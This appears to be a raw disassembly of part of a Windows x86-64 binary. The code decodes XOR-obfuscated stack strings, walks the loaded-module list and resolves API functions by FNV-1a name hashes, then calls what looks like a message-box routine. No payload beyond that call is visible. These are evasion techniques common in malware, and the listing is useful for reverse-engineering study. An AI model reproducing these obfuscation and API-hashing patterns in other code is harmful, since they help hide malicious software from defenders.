mov qword [rbp + 0xf98], rax
movabs rax, 0x562e2517b574cc2f
mov qword [rbp + 0xfa0], rax
movabs rax, 0xf9f2f1c64d8cc150
mov qword [rbp + 0xfa8], rax
movabs rax, 0xc48e75eda23ba7c9
mov qword [rbp + 0xfb0], rax
movabs rax, 0xd9959abc8145eec2
mov qword [rbp + 0xfb8], rax
movabs rax, 0x8f1338bbb2bb5353
mov qword [rbp + 0xfc0], rax
movabs rax, 0xe2958b6a2d9d1824
mov qword [rbp + 0xfc8], rax
movabs rax, 0x453e93c19360393d
mov qword [rbp + 0xfd0], rax
movabs rcx, 0x18106000df98bc56
mov qword [rbp + 0xfd8], rcx
movabs rax, 0x6616a6f9f6783f7
mov qword [rbp + 0xfe0], rax
movabs rdx, 0x18a2033eac363218
mov qword [rbp + 0xfe8], rdx
movabs rax, 0x2c1205c5e6cde991
mov qword [rbp + 0xff0], rax
movabs rax, 0x1bc13d74520de34a
mov qword [rbp + 0xff8], rax
movabs rax, 0xe15cb033720f0adb
mov qword [rbp + 0x1000], rax
movabs rax, 0xb16788a2cc62f1ac
mov qword [rbp + 0x1008], rax
movabs rax, 0x18353219f996be85
mov qword [rbp + 0x1010], rax
movabs rax, 0xfc3b9f8e30a0d1e
mov qword [rbp + 0x1018], rax
movabs rax, 0x5c18e3c7fff176bf
mov qword [rbp + 0x1020], rax
movabs rax, 0xffddb07675091460
mov qword [rbp + 0x1028], rax
movabs rax, 0x8cf4db9da2c7cf59
mov qword [rbp + 0x1030], rax
movabs rax, 0xff361d6cbc7e68d2
mov qword [rbp + 0x1038], rax
movabs rax, 0xf346daeb8e78fb63
mov qword [rbp + 0x1040], rax
movabs rax, 0xd5aa6e9a30ee63b4
mov qword [rbp + 0x1048], rax
movabs rax, 0xf78570f1c5f7fe4d
mov qword [rbp + 0x1050], rax
movabs rax, 0x3eee173080d65766
mov qword [rbp + 0x1058], rax
movabs rax, 0x9453d49f2891dc07
mov qword [rbp + 0x1060], rax
movabs rax, 0x3f7fba6e7e7aa128
mov qword [rbp + 0x1068], rax
movabs rax, 0x26218f5b698d8a1
mov qword [rbp + 0x1070], rax
movabs rax, 0xa9b3a7a42258afda
mov qword [rbp + 0x1078], rax
movabs rax, 0x5aa1146398e3566b
mov qword [rbp + 0x1080], rax
movabs rax, 0x8eaa6252ce87203c
mov qword [rbp + 0x1088], rax
movabs rax, 0x7b2b9fc9902d5195
mov qword [rbp + 0x1090], rax
movabs rax, 0xed0693a804e3ffae
mov qword [rbp + 0x1098], rax
movabs rax, 0x81b96677d55c96cf
mov qword [rbp + 0x10a0], rax
movabs rcx, 0xde103fa67180a070
mov qword [rbp + 0x10a8], rcx
mov qword [rbp + 0x880], r8
mov qword [rbp + 0x888], r9
mov qword [rbp + 0x890], r10
mov qword [rbp + 0x898], r11
mov qword [rbp + 0x8a0], rdi
mov qword [rbp + 0x8a8], rsi
mov qword [rbp + 0x8b0], r14
mov qword [rbp + 0x8b8], r15
mov qword [rbp + 0x8c0], r12
mov qword [rbp + 0x8c8], r13
movabs rax, 0x24414637d000ad5d
mov qword [rbp + 0x8d0], rax
movabs rax, 0xd9dc88aa39efa422
mov qword [rbp + 0x8d8], rax
movabs rax, 0xadae109ec35ecb99
mov qword [rbp + 0x8e0], rax
movabs rax, 0xb8b5f6d0e0319dac
mov qword [rbp + 0x8e8], rax
movabs rax, 0xe06057c9d1d21e73
mov qword [rbp + 0x8f0], rax
movabs rax, 0x90e1f80349bd6c42
mov qword [rbp + 0x8f8], rax
movabs rax, 0x331ef7a4e7155b54
mov qword [rbp + 0x900], rax
movabs rax, 0x79300e6fb6ebce33
mov qword [rbp + 0x908], rax
movabs rax, 0x6741131deb47e799
mov qword [rbp + 0x910], rax
movabs rax, 0x15a80910c25f537f
mov qword [rbp + 0x918], rax
movabs rax, 0x16554b8ca89fa8c6
mov qword [rbp + 0x920], rax
movabs rax, 0x68a81d073b65b76a
mov qword [rbp + 0x928], rax
movabs rax, 0xc12ed540072f6bfb
mov qword [rbp + 0x930], rax
movabs rax, 0xc647a4c7b91182c5
mov qword [rbp + 0x938], rax
movabs rax, 0x6b156b55b7d99ee0
mov qword [rbp + 0x940], rax
movabs rax, 0x40e3cd8a8c7a7d6b
mov qword [rbp + 0x948], rax
movabs rax, 0x7c54a28ebcb830f9
mov qword [rbp + 0x950], rax
movabs rax, 0x9eb1dc17017a7a09
mov qword [rbp + 0x958], rax
movabs rax, 0xea9bfbeecca8a62d
mov qword [rbp + 0x960], rax
movabs rax, 0x9045721edf1725f2
mov qword [rbp + 0x968], rax
movabs rax, 0x9c22b482d9588f05
mov qword [rbp + 0x970], rax
movabs rax, 0x9b8a21de10c210c3
mov qword [rbp + 0x978], rax
movabs rax, 0x83e41583a6d7aa02
mov qword [rbp + 0x980], rax
movabs rax, 0x4c816740f5a57703
mov qword [rbp + 0x988], rax
movabs rax, 0xe036bffc41e5fc73
mov qword [rbp + 0x990], rax
movabs rax, 0x5a17ce4e0d1b815b
mov qword [rbp + 0x998], rax
movabs rax, 0x6d0b6c80daf7ab81
mov qword [rbp + 0x9a0], rax
movabs rax, 0xc5d287d743308fb4
mov qword [rbp + 0x9a8], rax
movabs rax, 0x3fc3341afc823319
mov qword [rbp + 0x9b0], rax
movabs rax, 0xefc6122aaba74e59
mov qword [rbp + 0x9b8], rax
movabs rax, 0x5b45f6e9f4483ffc
mov qword [rbp + 0x9c0], rax
movabs rax, 0x9e63fe88778a97da
mov qword [rbp + 0x9c8], rax
movabs rax, 0x81b96659b03bf7bc
mov qword [rbp + 0x9d0], rax
mov qword [rbp + 0x9d8], rcx
movdqa xmm0, xmmword [rbp + 0x880]
pxor xmm0, xmmword [rbp + 0xf50]
movdqa xmmword [rbp + 0x880], xmm0
movdqa xmm1, xmmword [rbp + 0x890]
pxor xmm1, xmmword [rbp + 0xf60]
movdqa xmmword [rbp + 0x890], xmm1
movdqa xmm0, xmmword [rbp + 0x8a0]
pxor xmm0, xmmword [rbp + 0xf70]
movdqa xmmword [rbp + 0x8a0], xmm0
movdqa xmm1, xmmword [rbp + 0x8b0]
pxor xmm1, xmmword [rbp + 0xf80]
movdqa xmmword [rbp + 0x8b0], xmm1
movdqa xmm0, xmmword [rbp + 0x8c0]
pxor xmm0, xmmword [rbp + 0xf90]
movdqa xmmword [rbp + 0x8c0], xmm0
movdqa xmm1, xmmword [rbp + 0x8d0]
pxor xmm1, xmmword [rbp + 0xfa0]
movdqa xmmword [rbp + 0x8d0], xmm1
movdqa xmm0, xmmword [rbp + 0x8e0]
pxor xmm0, xmmword [rbp + 0xfb0]
movdqa xmmword [rbp + 0x8e0], xmm0
movdqa xmm1, xmmword [rbp + 0x8f0]
pxor xmm1, xmmword [rbp + 0xfc0]
movdqa xmmword [rbp + 0x8f0], xmm1
movdqa xmm0, xmmword [rbp + 0x900]
pxor xmm0, xmmword [rbp + 0xfd0]
movdqa xmmword [rbp + 0x900], xmm0
movdqa xmm1, xmmword [rbp + 0x910]
pxor xmm1, xmmword [rbp + 0xfe0]
movdqa xmmword [rbp + 0x910], xmm1
movdqa xmm0, xmmword [rbp + 0x920]
pxor xmm0, xmmword [rbp + 0xff0]
movdqa xmmword [rbp + 0x920], xmm0
movdqa xmm1, xmmword [rbp + 0x930]
pxor xmm1, xmmword [rbp + 0x1000]
movdqa xmmword [rbp + 0x930], xmm1
movdqa xmm0, xmmword [rbp + 0x940]
pxor xmm0, xmmword [rbp + 0x1010]
movdqa xmmword [rbp + 0x940], xmm0
movdqa xmm1, xmmword [rbp + 0x950]
pxor xmm1, xmmword [rbp + 0x1020]
movdqa xmmword [rbp + 0x950], xmm1
movdqa xmm0, xmmword [rbp + 0x1030]
pxor xmm0, xmmword [rbp + 0x960]
movdqa xmmword [rbp + 0x960], xmm0
movdqa xmm1, xmmword [rbp + 0x1040]
pxor xmm1, xmmword [rbp + 0x970]
movdqa xmmword [rbp + 0x970], xmm1
movdqa xmm0, xmmword [rbp + 0x1050]
pxor xmm0, xmmword [rbp + 0x980]
movdqa xmmword [rbp + 0x980], xmm0
movdqa xmm1, xmmword [rbp + 0x1060]
pxor xmm1, xmmword [rbp + 0x990]
movdqa xmmword [rbp + 0x990], xmm1
movdqa xmm0, xmmword [rbp + 0x1070]
pxor xmm0, xmmword [rbp + 0x9a0]
movdqa xmmword [rbp + 0x9a0], xmm0
movdqa xmm1, xmmword [rbp + 0x1080]
pxor xmm1, xmmword [rbp + 0x9b0]
movdqa xmmword [rbp + 0x9b0], xmm1
movdqa xmm0, xmmword [rbp + 0x1090]
pxor xmm0, xmmword [rbp + 0x9c0]
movdqa xmmword [rbp + 0x9c0], xmm0
movdqa xmm1, xmmword [rbp + 0x10a0]
pxor xmm1, xmmword [rbp + 0x9d0]
movdqa xmmword [rbp + 0x9d0], xmm1
lea r8, [rbp + 0x110]
lea rdx, [rbp + 0x880]
jmp 0x140046deb
mov ecx, dword [r15 + 0x24]
add rcx, rdi
movzx edx, word [rcx + r11*2]
mov ecx, dword [r15 + 0x1c]
add rcx, rdi
mov ebx, dword [rcx + rdx*4]
add rbx, rdi
cmp rbx, r15
jbe 0x1400468e1
lea rax, [r15 + r13]
cmp rbx, rax
jae 0x1400468e1
mov esi, 0x811c9dc5
mov r8d, esi
movzx edx, byte [rbx]
cmp dl, 0x2e
je 0x140046894
nop dword [rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
inc rbx
movzx edx, byte [rbx]
cmp dl, 0x2e
jne 0x140046870
inc rbx
movzx edx, byte [rbx]
test dl, dl
je 0x1400468c6
nop
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, r8d
imul r8d, ecx, 0x1000193
lea rbx, [rbx + 1]
movzx edx, byte [rbx]
test dl, dl
jne 0x1400468a0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140040d51
xor ebx, ebx
movabs rax, 0x51dc3191e737b52d
mov qword [rbp + 0x1330], rax
movabs rdx, 0x3b1b0550f00f3046
mov qword [rbp + 0x1338], rdx
movabs rax, 0x7cfc65c1ae65fe7e
mov qword [rbp + 0x150], rax
movabs rax, 0x3b1b773f827d7566
mov qword [rbp + 0x158], rax
movdqa xmm0, xmmword [rbp + 0x150]
pxor xmm0, xmmword [rbp + 0x1330]
movdqa xmmword [rbp + 0x150], xmm0
movabs rcx, 0x26fc55f48b5ed46b
movabs rdi, 0xb36af88be6abfb6e
movabs rsi, 0x226c43425e5c0a88
movabs r8, 0x4f3b623e997b5934
movabs r9, 0x37d56fcc2ab26588
movabs r10, 0x600badbed06b81b8
movabs r11, 0x233a38b53314d532
movabs rax, 0x51dc3191e737b52d
movabs r14, 0xe52986b4827528d2
movabs r15, 0x1a67d08c182cddb1
movabs r12, 0x22cc59266dcc2d6f
movabs r13, 0x3f4a0572d916ad5c
mov qword [rbp + 0xc70], rax
mov qword [rbp + 0xc78], rdx
movabs rax, 0x3dfb04bf43d645e7
mov qword [rbp + 0xc80], rax
movabs rax, 0x503b9d8ee028f988
mov qword [rbp + 0xc88], rax
movabs rax, 0x626e6b951e34e101
mov qword [rbp + 0xc90], rax
movabs rax, 0xf620bac4b9f8ae3a
mov qword [rbp + 0xc98], rax
movabs rdx, 0x7d290e0310035ecb
mov qword [rbp + 0xca0], rdx
movabs rax, 0xab7cc9f2dd21679c
mov qword [rbp + 0xca8], rax
movabs rax, 0x3a02a2e97078d7f5
mov qword [rbp + 0xcb0], rax
movabs rax, 0x57ec36484da95f0e
mov qword [rbp + 0xcb8], rax
movabs rax, 0x562e2517b574cc2f
mov qword [rbp + 0xcc0], rax
movabs rax, 0xf9f2f1c64d8cc150
mov qword [rbp + 0xcc8], rax
movabs rax, 0xc48e75eda23ba7c9
mov qword [rbp + 0xcd0], rax
movabs rax, 0xd9959abc8145eec2
mov qword [rbp + 0xcd8], rax
mov qword [rbp + 0x5a0], rcx
mov qword [rbp + 0x5a8], r8
mov qword [rbp + 0x5b0], r9
mov qword [rbp + 0x5b8], r10
mov qword [rbp + 0x5c0], r11
mov qword [rbp + 0x5c8], rdi
mov qword [rbp + 0x5d0], rsi
mov qword [rbp + 0x5d8], r14
mov qword [rbp + 0x5e0], r15
mov qword [rbp + 0x5e8], r12
mov qword [rbp + 0x5f0], r13
movabs rax, 0x8dd29fa96dffaa23
mov qword [rbp + 0x5f8], rax
movabs rax, 0xa1fa0694d11bc2a1
mov qword [rbp + 0x600], rax
movabs rax, 0xd9959abc8145c0af
mov qword [rbp + 0x608], rax
movdqa xmm0, xmmword [rbp + 0x5a0]
pxor xmm0, xmmword [rbp + 0xc70]
movdqa xmmword [rbp + 0x5a0], xmm0
movdqa xmm1, xmmword [rbp + 0x5b0]
pxor xmm1, xmmword [rbp + 0xc80]
movdqa xmmword [rbp + 0x5b0], xmm1
movdqa xmm0, xmmword [rbp + 0x5c0]
pxor xmm0, xmmword [rbp + 0xc90]
movdqa xmmword [rbp + 0x5c0], xmm0
movdqa xmm1, xmmword [rbp + 0x5d0]
pxor xmm1, xmmword [rbp + 0xca0]
movdqa xmmword [rbp + 0x5d0], xmm1
movdqa xmm0, xmmword [rbp + 0x5e0]
pxor xmm0, xmmword [rbp + 0xcb0]
movdqa xmmword [rbp + 0x5e0], xmm0
movdqa xmm1, xmmword [rbp + 0x5f0]
pxor xmm1, xmmword [rbp + 0xcc0]
movdqa xmmword [rbp + 0x5f0], xmm1
movdqa xmm0, xmmword [rbp + 0x600]
pxor xmm0, xmmword [rbp + 0xcd0]
movdqa xmmword [rbp + 0x600], xmm0
lea r8, [rbp + 0x150]
lea rdx, [rbp + 0x5a0]
jmp 0x140046deb
mov ecx, dword [r14 + 0x24]
add rcx, rdi
movzx edx, word [rcx + r11*2]
mov ecx, dword [r14 + 0x1c]
add rcx, rdi
mov ebx, dword [rcx + rdx*4]
add rbx, rdi
cmp rbx, r14
jbe 0x140046c81
lea rax, [r14 + r13]
cmp rbx, rax
jae 0x140046c81
mov esi, 0x811c9dc5
mov r8d, esi
movzx edx, byte [rbx]
cmp dl, 0x2e
je 0x140046c34
nop dword [rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
inc rbx
movzx edx, byte [rbx]
cmp dl, 0x2e
jne 0x140046c10
inc rbx
movzx edx, byte [rbx]
test dl, dl
je 0x140046c66
nop
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, r8d
imul r8d, ecx, 0x1000193
lea rbx, [rbx + 1]
movzx edx, byte [rbx]
test dl, dl
jne 0x140046c40
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140040090
xor ebx, ebx
movabs rdi, 0x51dc3191e737b52d
mov qword [rbp + 0x1340], rdi
movabs r11, 0x3b1b0550f00f3046
mov qword [rbp + 0x1348], r11
movabs rax, 0x7cfc65c1ae65fe7e
mov qword [rbp + 0xd0], rax
movabs rax, 0x3b1b773f827d7566
mov qword [rbp + 0xd8], rax
movdqa xmm0, xmmword [rbp + 0xd0]
pxor xmm0, xmmword [rbp + 0x1340]
movdqa xmmword [rbp + 0xd0], xmm0
movabs rax, 0x38fc54e28652d97d
movabs rcx, 0x7c3b693c917b4328
movabs rdx, 0x588d6dcd27f610b7
movabs r8, 0x241bf9e081088afa
movabs r9, 0xc070af27f149873
movabs r10, 0xf620bac4b9f8ae14
mov qword [rbp + 0xb20], rdi
mov qword [rbp + 0xb28], r11
movabs r11, 0x3dfb04bf43d645e7
mov qword [rbp + 0xb30], r11
movabs r11, 0x503b9d8ee028f988
mov qword [rbp + 0xb38], r11
movabs r13, 0x626e6b951e34e101
mov qword [rbp + 0xb40], r13
movabs r13, 0xf620bac4b9f8ae3a
mov qword [rbp + 0xb48], r13
mov qword [rbp + 0x450], rax
mov qword [rbp + 0x458], rcx
mov qword [rbp + 0x460], rdx
mov qword [rbp + 0x468], r8
mov qword [rbp + 0x470], r9
mov qword [rbp + 0x478], r10
movdqa xmm0, xmmword [rbp + 0x450]
pxor xmm0, xmmword [rbp + 0xb20]
movdqa xmmword [rbp + 0x450], xmm0
movdqa xmm1, xmmword [rbp + 0x460]
pxor xmm1, xmmword [rbp + 0xb30]
movdqa xmmword [rbp + 0x460], xmm1
movdqa xmm0, xmmword [rbp + 0x470]
pxor xmm0, xmmword [rbp + 0xb40]
movdqa xmmword [rbp + 0x470], xmm0
lea r8, [rbp + 0xd0]
lea rdx, [rbp + 0x450]
mov r9d, 0x40010
xor ecx, ecx
call rbx
xor eax, eax
movaps xmm6, xmmword [rsp + 0x3ac0]
add rsp, 0x3ad8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.14008667c
nop
call fcn.14008667c
int3